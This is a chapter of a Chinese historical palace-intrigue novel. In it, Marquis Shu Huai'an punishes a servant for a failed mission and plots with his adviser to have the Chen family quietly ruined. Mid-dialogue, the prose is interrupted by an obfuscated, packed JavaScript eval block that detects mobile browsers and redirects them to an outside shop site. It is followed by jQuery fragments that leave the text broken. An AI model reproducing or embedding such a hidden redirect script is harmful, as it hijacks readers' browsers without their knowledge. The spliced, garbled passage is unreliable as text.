开封府内,一座雕梁画栋,富丽堂皇的宅邸深处,一阵突如其来的瓷器碎裂声划破了午后的宁静。
让门口守着的下人不由心头一紧,身子挺得越发笔直,不敢发出半点声音。
装饰典雅的大厅内,一位身着锦绣华服的中年男子,身姿挺拔,面容威严,正站在厅中,眉头紧锁成川,目光如炬,直射向跪在他脚下的身影。
那跪地的男子,衣衫略显凌乱,脸上满是惶恐不安,他低垂着头,双手紧握成拳,似乎在极力克制着内心的颤抖。
不怪他如此不堪,实在是上首之人,乃是敬远候舒怀安,祖上乃是开国功勋,自身更是皇亲国戚。
即便在朝中这般重文轻武的风气下,仍旧是位高权重,炙手可热。
别说他是舒家的家仆,有着卖身契存在,主家可随意打杀,顶多就是罚点银钱罢了。
便是寻常的平民百姓,七品小官,那在这位侯爷的面前,也是不敢大声说话的。
是以,面对敬远候的怒斥,程礼只能是默默承受,连大气都不敢喘一下。
“你跟了我这么多年,竟然连活要见人,死要见尸的道理都不懂,现在还敢回来见我!”
敬远侯的话语如同寒冰利刃,字字穿透心扉,让跪着的男子身子颤抖的越发厉害,他深知这位家主素来严苛狠厉,眼里更是揉不得半点沙子。
此次任务,活不见人,死不见尸的,在敬远侯那里,与失败无异,等待他的,还不知会是何等处罚。
“废物!”
随着这一声怒喝,一只精致的瓷杯划破空气,精准无误地砸在了他的额头上,瞬间鲜血淋漓,染红了衣襟。
但他依旧保持着恭敬的姿态,没有丝毫反抗,只是更加虔诚地跪在地上,俯首认错,任由疼痛与屈辱交织在心头。
这时,一位年纪较大,一袭儒衫的老者,见状上前几步,劝慰道:
“家主息怒,那悬崖深不见底,人一旦失足落下,生还的可能性微乎其微。”
顿了顿,瞅了眼敬远侯的神色,又开口求情道:
“程礼固然办事不利,但此次任务,也不算全然无功,还请家主宽恕,给他个戴罪立功的机会。”
这老者乃是敬远侯的幕僚,名叫李东华,跟随多年,平素出谋划策,多有立功,是以在敬远侯面前颇有体面。
他这话一出,敬远侯舒怀安的神情明显好了很多。
他目光狠厉的看着跪在地上的程礼,语气冰冷:
“既然李先生为你求情,这次便暂且饶了你,不过程礼,本侯的脾气,你是清楚的,若有下次,你就不必活着回来了!”
“多谢侯爷饶命!多谢侯爷饶命!”
提着心终于能放了下来,程礼不停的磕着头,即便额头鲜血淋漓,也不在乎。
自小被舒家培养,跟随这位侯爷多年,程礼深知对方性情,待下素来严苛狠厉。
对方那话可不是虚言恐吓,若非李先生求情,这次任务失败,他的小命是真的悬在刀刃上的。
舒家,可从不缺卖命的奴才。
见程礼这份模样,舒怀安心中的郁气,总算是缓和了许多,他摆了摆手,制止了程礼拼命磕头谢恩的举动,正准备吩咐事情。
可还未等开口,就见一名下人快步进来,躬身禀报道:
“启禀家主,宫中传来消息,舒太妃请您进宫,说有要事相商。”
这突如其来的消息,让舒怀安的脸色瞬间变得难看起来。
他扫了眼跪在地上的程礼,心中清楚,这件事情,怕是被他那位好妹妹给知道了。
虽然对舒太妃惹出的天大麻烦,感到不耐和厌烦,更是恨不得断绝关系,直接当没有这个愚蠢的妹妹。
但理智告诉他,血缘关系摆在那里,在外人看来,两者一荣俱荣,一损俱损,关系不是他想断绝就能断绝的。
最重要的,事情是对方借着舒家的力量做得,外人可不会信,他不知情的话。
事已至此,既然无法摆脱干系,所以哪怕明知对方做下那般蠢事,他不但不能大义灭亲,还得帮着对方擦干净屁股。
压下心中烦躁的情绪,即便再怎么不耐,再怎么不愿意,舒怀安还是不得不先放下手头的事情。
“知道了,备车吧。”舒怀安沉声吩咐,语气中透露出不容置疑的威严。
他转身,目光再次落在程礼身上,眼神冷冽。“你,先下去处理伤口,然后到书房候着,本侯有话问你。”
程礼闻言,心中一凛,连忙叩首谢恩,起身时因长时间跪地而显得有些踉跄,但他迅速稳住身形,退出了大厅。
待程礼离开后,舒怀安对李东华微微点头,示意他一同前往书房。
两人穿过曲折的回廊,步入书房,书房内书卷满架,墨香四溢,却在此刻显得格外沉重。
“李先生,你跟随我多年,对这件事情也是知情的,陈世美派去陈州的人现在下落不明,对方若是侥幸生还,你觉得该如何应对?”
舒怀安在书桌后坐下,手指轻轻摩挲着桌面的纹路,似乎在思考着什么。
李东华上前一步,恭敬地答道:“家主,在下以为,那叫林余的门客是生是死,其实都并不要紧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192314|150247||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“陈大人再如何愚蠢轻信,也不会轻易对人吐露那样攸关生死的大事,他又未到陈州,便是猜也猜不到什么……”
说到这里,李东华眼中闪过一抹狠色,继续道:
“相反,那陈州的一家子,才是其中关键,他们活着,便是隐患,他们若死了,那便是有人知道此事,亦是死无对证!”
“家主,须知斩草要除根呢!”
舒怀安闻言,眉头微蹙,手指轻敲桌面,眼中闪过几分犹疑,终究是叹了口气,无奈道:
“你说得这些,本侯何尝不清楚,可是,若真这般做,陈世美那边不说,怕是本侯妹妹那里,便不好交代啊……”
舒怀安并不是心慈手软之辈,别说是几个人的生死性命,便是成千上万人的生死,他都可以做到眼都不眨。
可是陈世美那边也就罢了,一个小小的五品官,还握有对方天大的把柄,晾对方也不敢如何。
但舒太妃,他那个妹妹,可不是他能够随意忽视的。
舒家能有今日地位,固然是他努力奋斗的结果,可也与舒太妃和昭华公主脱不了关系。
两者互相依存,谁都没有办法,完全的占据主导地位,可以无视另一方的意见。
见舒怀安面露难色,李东华微微一笑,道:
“家主勿忧,这世间之事,往往福祸相依,那陈家,本是寒门小户,一介地里刨食的泥腿子,若非陈大人中举发迹,岂有今日富贵?”
“而今中举之人已逝,坊间觊觎其家业者,怕是不再少数……”
“我们只需稍加引导,用不着脏了大人您的手,那失去了顶梁柱的老弱妇孺,怕是就要被一群柴狼给吞吃干净了!”
舒怀安闻言,眼眸微闪,面上不由露出了一丝满意的笑容:
“你所言极是,此事关乎到舒家满门荣辱,绝不容有失。”
“你且去准备一下,待我进宫之后,你便着手此事,务必办得干净利落,不要留下任何蛛丝马迹!”
李东华领命而去,书房内再次恢复了宁静。舒怀安望了眼窗外的天空,心中五味杂陈,说不清是什么滋味。
他并不是为了那几条人命而感伤,而是为了舒家的未来。
他知道,不管他怎么费劲心思的弥补漏洞,隐藏秘密,天下没有不透风的墙,这件事情都会给家族的未来蒙上一层阴影。
不过或许,一切早在父亲为了家族,执意将妹妹送进宫的时候,就已经注定了。
舒家既因妹妹进宫得宠,而逐渐兴盛,就必然会受到对方的牵累,自己再如何不愿亦是无可奈何。